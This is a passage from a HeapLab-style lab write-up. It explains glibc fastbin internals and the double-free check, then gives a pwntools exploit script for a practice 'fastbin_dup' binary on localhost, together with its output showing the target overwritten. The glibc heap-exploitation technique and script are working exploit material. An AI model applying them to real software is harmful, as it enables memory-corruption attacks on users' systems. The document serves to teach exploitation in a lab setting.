</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1656"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1656">1656</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1657"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1657">1657</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1658"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1658">1658</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1659"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1659">1659</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1660"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1660">1660</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1661"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1661">1661</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1662"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1662">1662</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1663"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1663">1663</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1664"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1664">1664</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1665"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1665">1665</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1666"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1666">1666</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1667"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1667">1667</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1668"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1668">1668</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1669"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1669">1669</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1670"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1670">1670</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1671"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1671">1671</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1672"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1672">1672</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1673"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1673">1673</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1674"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1674">1674</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1675"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1675">1675</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1676"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1676">1676</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1677"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1677">1677</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1678"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1678">1678</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1679"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1679">1679</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1680"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1680">1680</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1681"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1681">1681</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1682"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1682">1682</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1683"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1683">1683</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1684"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1684">1684</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1685"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1685">1685</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1686"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1686">1686</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1687"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1687">1687</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1688"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1688">1688</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1689"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1689">1689</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1690"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1690">1690</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1691"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1691">1691</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1692"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1692">1692</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1693"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1693">1693</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1694"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1694">1694</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1695"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1695">1695</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1696"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1696">1696</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1697"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1697">1697</a>
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#b6a0ff">struct</span> malloc_state
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Serialize access.  */</span>
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">__libc_lock_define</span> (, mutex);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Flags (formerly in max_fast).  */</span>
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">int</span> flags;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Set if the fastbin chunks contain recently inserted free blocks.  */</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Note this is a bool but not all targets support atomics on booleans.  */</span>
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">int</span> have_fastchunks;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Fastbins */</span>
</span></span><span style="display:flex;"><span>  mfastbinptr fastbinsY[NFASTBINS];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Base of the topmost chunk -- not otherwise kept in a bin */</span>
</span></span><span style="display:flex;"><span>  mchunkptr top;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* The remainder from the most recent split of a small request */</span>
</span></span><span style="display:flex;"><span>  mchunkptr last_remainder;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Normal bins packed as described above */</span>
</span></span><span style="display:flex;"><span>  mchunkptr bins[NBINS <span style="color:#00d3d0">*</span> <span style="color:#00bcff">2</span> <span style="color:#00d3d0">-</span> <span style="color:#00bcff">2</span>];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Bitmap of bins */</span>
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">unsigned</span> <span style="color:#6ae4b9">int</span> binmap[BINMAPSIZE];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Linked list */</span>
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">struct</span> malloc_state <span style="color:#00d3d0">*</span>next;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Linked list for free arenas.  Access to this field is serialized
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">     by free_list_lock in arena.c.  */</span>
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">struct</span> malloc_state <span style="color:#00d3d0">*</span>next_free;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Number of threads attached to this arena.  0 if the arena is on
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">     the free list.  Access to this field is serialized by
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">     free_list_lock in arena.c.  */</span>
</span></span><span style="display:flex;"><span>  INTERNAL_SIZE_T attached_threads;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Memory allocated from the system in this arena.  */</span>
</span></span><span style="display:flex;"><span>  INTERNAL_SIZE_T system_mem;
</span></span><span style="display:flex;"><span>  INTERNAL_SIZE_T max_system_mem;
</span></span><span style="display:flex;"><span>};</span></span></code></pre></td></tr></table>
</div>
</div>
</details>

<p>The important bit of metadata we care about here are the <a href="/writeups/heaplab/#org-coderef--cce405-1668">fastbins</a>.
As an optimization for small (and therefore frequent) allocations, for chunk sizes within the first <code>NFASTBINS</code> multiples of the smallest chunk size, freeing a chunk of this size adds it to a corresponding singly linked list (and the heads of these linked lists are stored in <kbd>fastbinsY</kbd>).
And while the heads of the linked lists are stored in the arena, subsequent pointers are stored in-line in the chunks themselves, <span class="underline">overlapping with where user data normally goes</span>.</p>
<p>I like to think of a chunk like this:</p>





  
  
    
    
    
  
  
    

  
  
    




  






<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#b6a0ff">struct</span> fastbin_chunk_0x20 {
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">union</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>      <span style="color:#6ae4b9">size_t</span> _size : <span style="color:#00bcff">61</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#6ae4b9">unsigned</span> <span style="color:#6ae4b9">int</span> non_main_arena : <span style="color:#00bcff">1</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#6ae4b9">unsigned</span> <span style="color:#6ae4b9">int</span> is_mmapped : <span style="color:#00bcff">1</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#6ae4b9">unsigned</span> <span style="color:#6ae4b9">int</span> prev_inuse : <span style="color:#00bcff">1</span>;
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#6ae4b9">size_t</span> size;
</span></span><span style="display:flex;"><span>  };
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">union</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>      fastbin_chunk_0x20<span style="color:#00d3d0">*</span> fd;
</span></span><span style="display:flex;"><span>      <span style="color:#6ae4b9">char</span> _reserved[<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>];<sup id="fnref:1"><a class="footnote-ref" href="#fn:1" role="doc-noteref">1</a></sup>
</span></span><span style="display:flex;"><span>    } free;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>      <span style="color:#6ae4b9">char</span> data[<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>];
</span></span><span style="display:flex;"><span>    } inuse;
</span></span><span style="display:flex;"><span>  };
</span></span><span style="display:flex;"><span>};</span></span></code></pre></div>
</details>

<div aria-hidden="true" style="display:none">
<!--[^fn:1]-->
<img src="https://feyor.sh/" alt=""></div>
<p>Combining this knowledge with our double free, we could free chunk A twice, causing it to be added to the corresonding fastbin freelist twice; then we could <kbd>malloc</kbd> chunk B of the same size as A, and the first 8 bytes of the user accessible data of chunk B that <kbd>malloc</kbd> returns will still be interpreted as a <kbd>fd</kbd> pointer for the <em>next</em> occurence of chunk A (the one that&rsquo;s still in the freelist).
Then we could corrupt this <kbd>fd</kbd> pointer and when we allocate another chunk C, <kbd>malloc</kbd> will return a chunk at wherever the corrupted <kbd>fd</kbd> points.</p>
<p>As an additional complication, we can&rsquo;t actually just allocate chunk A and then free it twice, because <kbd>malloc</kbd> checks if the chunk we&rsquo;re adding to the freelist is the same chunk that&rsquo;s at the head of the freelist:</p>





  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><div style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3592
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3593
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3594
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#6ae4b9">size_t</span> victim_idx <span style="color:#00d3d0">=</span> <span style="color:#feacd0">fastbin_index</span> (<span style="color:#feacd0">chunksize</span> (victim));
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> (<span style="color:#feacd0">__builtin_expect</span> (victim_idx <span style="color:#00d3d0">!=</span> idx, <span style="color:#00bcff">0</span>))
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">malloc_printerr</span> (<span style="color:#79a8ff">&#34;malloc(): memory corruption (fast)&#34;</span>);</span></span></code></pre></td></tr></table>
</div>
</div>
</details>

<p>This is trivially bypassed by freeing a different chunk in between the two <kbd>free</kbd>​s of chunk A.</p>
<h3 id="solve">Solve</h3>
<p>There are a few complications to address when actually writing the exploit.</p>
<p>We have a libc leak again so malloc hooks (particularly <kbd>__malloc_hook</kbd> and <kbd>__free_hook</kbd>) are viable targets.
However, because this time we&rsquo;re allocating a fake chunk from a corrupted freelist pointer, the 16 bytes before our target must be valid metadata for a freed chunk.</p>
<p><kbd>__free_hook</kbd> is surrounded by zeroes so it&rsquo;s a no-go, but <kbd>__malloc_hook</kbd> is a different story:</p>
<figure><img src="https://feyor.sh/writeups/heaplab/fastbin_dup-__malloc_hook.svg">
</figure>

<p>Instead of putzing around with finding a good alignment ourselves, we can let pwndbg do it for us:</p>
<figure><img src="https://feyor.sh/writeups/heaplab/fastbin_dup-find-fake-fast.svg">
</figure>

<p>But a size field of 0xf8 is larger than that of the largest chunk&rsquo;s fastbin (0x80).
The values of <kbd>_IO_wide_data_0+240</kbd> differ between my aarch64-linux NixOS VM (running the binary with <a href="https://github.com/Feyorsh/pwnypus/blob/33a81c39391456e5ae9a8f70e1562d3dc2d39157/vm.nix">QEMU/Rosetta</a>) and the intended x86_64-linux Ubuntu VM, so this approach won&rsquo;t work for my setup specifically.</p>
<p>The same is also true for trying FSOP, as we can&rsquo;t create a fake chunk in <kbd>__GI__IO_file_jumps</kbd>.</p>
<p>We&rsquo;ll soon discuss a very interesting method of using the fastbin dupe to corrupt <kbd>main_arena</kbd>&rsquo;s top_chunk pointer, but that requires more allocations than the 7 we&rsquo;re permitted here, so we&rsquo;ll settle for overwriting the target for now.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;fastbin_dup&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size, data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;Enter your username: &#34;</span>, p64(<span style="color:#00bcff">0x20</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvline()
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: NULL</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;B&#34;</span>)
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk A] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">1</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk B] -&gt; [chunk A] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk A] -&gt; [chunk B] -&gt; [chunk A] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user<span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)) <span style="color:#a8a8a8"># chunk C</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk B] -&gt; [chunk A] -&gt; &amp;user</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;D&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk A] -&gt; &amp;user</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;E&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: &amp;user</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;F&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">8</span> <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;pwned&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvline()
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;target: XXXXXXX\n&#39;
</span></span><span style="display:flex;"><span>b&#39;target: pwnedXX\n&#39;</span></span></code></pre></div>

<h3 id="challenge-solve">Challenge solve</h3>
